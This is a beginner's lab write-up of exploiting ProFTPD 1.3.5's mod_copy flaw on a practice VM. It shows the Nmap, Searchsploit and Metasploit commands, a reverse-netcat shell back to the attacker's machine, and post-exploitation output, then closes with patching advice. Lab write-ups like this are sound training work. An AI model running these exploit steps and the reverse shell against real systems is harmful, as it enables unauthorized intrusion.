
Vulnerability Report

Task Name: Task 4 - ProFTPD Vulnerability Exploitation

Project Goal: Identify and exploit a vulnerability on a target machine provided in a virtual environment.

Attacker Machine:

- **Operating System:** Kali Linux
- **IP Address:** 192.168.1.100

Target Machine:

- **Name:** Challenge VM
- **IP Address:** 192.168.1.103

Tools Used: Nmap, Metasploit

---

1. Initial Reconnaissance (Finding Open Doors)

The first step in any ethical hacking task is to learn about the target machine without actually attacking it. We use a tool called **Nmap** to scan the target's IP address. Think of it like walking around a building to see which doors and windows are open. Nmap tells us which "doors" (ports) are open and what "service" (the application or software) is running behind them.

- Command Used:
  nmap -sV 192.168.1.103
  The -sV part of the command tells Nmap to try and figure out the version of the software running on each port.
- Nmap Scan Results:

```
┌──(linto㉿kali)-[~]
└─$ nmap -sV 192.168.1.103
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 23:57 IST
Nmap scan report for 192.168.1.103
Host is up (0.00022s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         ProFTPD 1.3.5
22/tcp   open   ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http        Apache httpd 2.4.7
445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp  open   ipp         CUPS 1.7
3000/tcp closed ppp
3306/tcp open   mysql       MySQL (unauthorized)
8080/tcp open   http        Jetty 8.1.7.v20120910
8181/tcp closed intermapper
MAC Address: 08:00:27:9F:1A:FB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: 127.0.0.1, UBUNTU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.15 seconds
```

From the scan, we found that one of the open services was **ProFTPD version 1.3.5**. This is a file transfer program, similar to a web server. Knowing the specific name and version of the software is critical because we can now search for known weaknesses.

---

2. Finding an Exploit

After we know the name and version of a service, we can search for a known vulnerability. We used a tool called **Searchsploit**, which is a database of exploits. An **exploit** is a piece of code that takes advantage of a specific weakness to gain unauthorized access.

- Command Used:
  searchsploit ProFTPD 1.3.5
- Searchsploit Results:

```
┌──(root㉿kali)-[/home/linto]
└─# searchsploit ProFTPD 1.3.5
---------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
---------------------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                     | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                           | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                       | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                                     | linux/remote/36742.txt
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

The results pointed us to an exploit for the `mod_copy` feature in ProFTPD 1.3.5. This vulnerability allows an attacker to copy a file from one place to another on the server, even if they aren't supposed to have permission.

We then used **Metasploit**, a powerful framework that contains many pre-built exploits, to make our attack easier.

- Command Used:
  msfconsole
  This command starts the Metasploit console.
- Command Used to find the exploit within Metasploit:
  search ProFTPD 1.3.5
- Metasploit Search Results:
  [Insert a screenshot of your Metasploit search results here]

The search found a specific module named `exploit/unix/ftp/proftpd_modcopy_exec`, which is exactly what we need. We loaded it by typing the command: `use 0`.

---

3. Exploitation (Getting Inside)

Now that we have the right tool, we need to configure it to launch the attack. We need to tell the exploit two things: where the target is, and where we want to put our malicious code (the payload) so we can run it.

- Command to view required settings:
  show options
- Exploit Configuration:

- Commands Used:
  set RHOSTS 192.168.1.103
  RHOSTS is the remote host, or the target IP address.
  set SITEPATH /var/www/html
  SITEPATH is the directory where the target's website files are stored. By placing our code here, we can trick the server into running it later.

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: sa
                                         pni, socks4, socks5, socks5h, http
   RHOSTS     192.168.1.103    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
                                         ing-metasploit.html
   RPORT      80               yes       HTTP port (TCP)
   RPORT_FTP  21               yes       FTP port
   SITEPATH   /var/www/html    yes       Absolute writable website path
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path to the website
   TMPPATH    /tmp             yes       Absolute writable path
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.100    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   ProFTPD 1.3.5
```

After setting everything up, we launched the attack with the run command.

- Exploit Launch:

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.103:80 - 192.168.1.103:21 - Connected to FTP server
[*] 192.168.1.103:80 - 192.168.1.103:21 - Sending copy commands to FTP server
[*] 192.168.1.103:80 - Executing PHP payload /JQE4B.php
[+] 192.168.1.103:80 - Deleted /var/www/html/JQE4B.php
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.103:48459) at 2025-08-25 00:49:34 +0530
[-] 192.168.1.103:80 - Exploit aborted due to failure: unknown: 192.168.1.103:21 - Failure executing payload
[*] Exploit completed, but no session was created.
```

- The exploit successfully ran and opened a **session**. A session is a remote connection that gives us a command line, or "shell," on the target machine.
- Command to view active sessions:
  sessions
- Command to connect to the session:
  sessions -i 1
- Session Connection:

```
Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               192.168.1.100:4444 -> 192.168.1.103:48459 (192.168.1.103)

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > sessions -i 1
[*] Starting interaction with 1 ...
```

We now have access to the machine!

---

4. Post-Exploitation (Initial Access)

With a shell on the target, we can now start looking around. This is where we confirm our access and begin to explore the system.

- Commands Used:
  whoami
  This command shows us the current user we are logged in as. The result was "www-data," which is a user account typically used by web servers.
  python -c 'import pty; pty.spawn("/bin/bash")'
  This command makes our shell more interactive, which is helpful for running more complex commands.

```
[*] Starting interaction with 1 ...
whoami
www-data
ls
9GwfNp.php
chat
drupal
payroll_app.php
phpmyadmin
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$ uname -a
uname -a
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
www-data@ubuntu:/var/www/html$ ls -la
cat payroll_app.php
cat 9GwfNp.php
ls -la
total 28
drwxr-xrwx 5 root     root     4096 Aug 24 19:19 .
drwxr-xr-x 5 root     root     4096 Oct 29  2020 ..
-rw-r--r-- 1 nobody   nogroup    81 Aug 24 18:06 9GwfNp.php
drwxrwxrwx 2 root     root     4096 Aug 23 07:40 chat
drwxr-xr-x 9 www-data www-data 4096 Oct 29  2020 drupal
-rwxr-xr-x 1 root     root     1778 Oct 29  2020 payroll_app.php
drwxr-xr-x 8 root     root     4096 Oct 29  2020 phpmyadmin
```

What we learned from this step:

We successfully gained a basic level of access to the server. The whoami command confirms we are not an administrative user (root), so our access is limited. This is the starting point for further steps to try and gain full control of the system.

---

5. Conclusion and Recommendations

Summary of Findings:

The ProFTPD service on the target machine was running a version with a known vulnerability. This allowed us to exploit it to gain a shell as a non-privileged user.

Recommendations:

1. **Update the Service:** The most important step to fix this vulnerability is to **immediately update ProFTPD to the latest version**. This will patch the `mod_copy` vulnerability and prevent this type of attack.

2. **Regular Patching:** Implement a system to regularly check for and apply security patches and updates to all software.
3. **Least Privilege:** Configure services like FTP to run with the minimum possible permissions. The FTP user should not have write access to critical web directories like `/var/www/html`.

A Note from the Penetration Tester ✍️

This is where my report ends for now, as I am still a beginner in the world of penetration testing. I know that the next step would be to perform **privilege escalation** to gain full root access on the machine, but I have not yet learned how to do that. However, this is just the beginning of my journey. I am committed to learning, brick by brick, and I am excited to dig deeper into the next layers of this challenge. My hunger to learn and exploit this machine completely is growing! 🚀